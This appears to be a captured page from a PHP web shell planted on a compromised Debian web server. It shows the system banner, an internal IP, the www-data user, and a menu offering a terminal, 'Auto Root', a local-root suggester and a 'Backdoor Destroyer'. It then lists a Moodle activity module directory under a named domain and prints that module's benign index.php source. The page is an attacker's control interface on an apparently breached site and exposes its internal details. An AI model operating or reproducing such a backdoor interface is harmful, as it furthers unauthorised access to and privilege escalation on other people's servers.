Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
choice /
Delete
Unzip
Name
Size
Permission
Date
Action
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:09
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:18
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:18
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:09
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:18
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:18
index.php
3.46
KB
-rw-r--r--
2017-06-22 15:18
lib.php
39.8
KB
-rw-r--r--
2017-06-22 15:18
locallib.php
5.02
KB
-rw-r--r--
2017-06-22 15:18
mod_form.php
6.99
KB
-rw-r--r--
2017-06-22 15:18
renderer.php
15.73
KB
-rw-r--r--
2017-06-22 15:18
report.php
11.06
KB
-rw-r--r--
2017-06-22 15:18
upgrade.txt
992
B
-rw-r--r--
2017-06-22 15:18
version.php
1.17
KB
-rw-r--r--
2017-06-22 15:18
view.php
8.33
KB
-rw-r--r--
2017-06-22 15:18
Save
Rename
<?php require_once("../../config.php"); require_once("lib.php"); $id = required_param('id',PARAM_INT); // course $PAGE->set_url('/mod/choice/index.php', array('id'=>$id)); if (!$course = $DB->get_record('course', array('id'=>$id))) { print_error('invalidcourseid'); } require_course_login($course); $PAGE->set_pagelayout('incourse'); $eventdata = array('context' => context_course::instance($id)); $event = \mod_choice\event\course_module_instance_list_viewed::create($eventdata); $event->add_record_snapshot('course', $course); $event->trigger(); $strchoice = get_string("modulename", "choice"); $strchoices = get_string("modulenameplural", "choice"); $PAGE->set_title($strchoices); $PAGE->set_heading($course->fullname); $PAGE->navbar->add($strchoices); echo $OUTPUT->header(); if (! $choices = get_all_instances_in_course("choice", $course)) { notice(get_string('thereareno', 'moodle', $strchoices), "../../course/view.php?id=$course->id"); } $usesections = course_format_uses_sections($course->format); $sql = "SELECT cha.* FROM {choice} ch, {choice_answers} cha WHERE cha.choiceid = ch.id AND ch.course = ? AND cha.userid = ?"; $answers = array () ; if (isloggedin() and !isguestuser() and $allanswers = $DB->get_records_sql($sql, array($course->id, $USER->id))) { foreach ($allanswers as $aa) { $answers[$aa->choiceid] = $aa; } unset($allanswers); } $timenow = time(); $table = new html_table(); if ($usesections) { $strsectionname = get_string('sectionname', 'format_'.$course->format); $table->head = array ($strsectionname, get_string("question"), get_string("answer")); $table->align = array ("center", "left", "left"); } else { $table->head = array (get_string("question"), get_string("answer")); $table->align = array ("left", "left"); } $currentsection = ""; foreach ($choices as $choice) { if (!empty($answers[$choice->id])) { $answer = $answers[$choice->id]; } else { $answer = ""; } if (!empty($answer->optionid)) { $aa = format_string(choice_get_option_text($choice, $answer->optionid)); } else { $aa = ""; } if ($usesections) { $printsection = ""; if ($choice->section !== $currentsection) { if ($choice->section) { $printsection = get_section_name($course, $choice->section); } if ($currentsection !== "") { $table->data[] = 'hr'; } $currentsection = $choice->section; } } //Calculate the href if (!$choice->visible) { //Show dimmed if the mod is hidden $tt_href = "<a class=\"dimmed\" href=\"view.php?id=$choice->coursemodule\">".format_string($choice->name,true)."</a>"; } else { //Show normal if the mod is visible $tt_href = "<a href=\"view.php?id=$choice->coursemodule\">".format_string($choice->name,true)."</a>"; } if ($usesections) { $table->data[] = array ($printsection, $tt_href, $aa); } else { $table->data[] = array ($tt_href, $aa); } } echo "<br />"; echo html_writer::table($table); echo $OUTPUT->footer();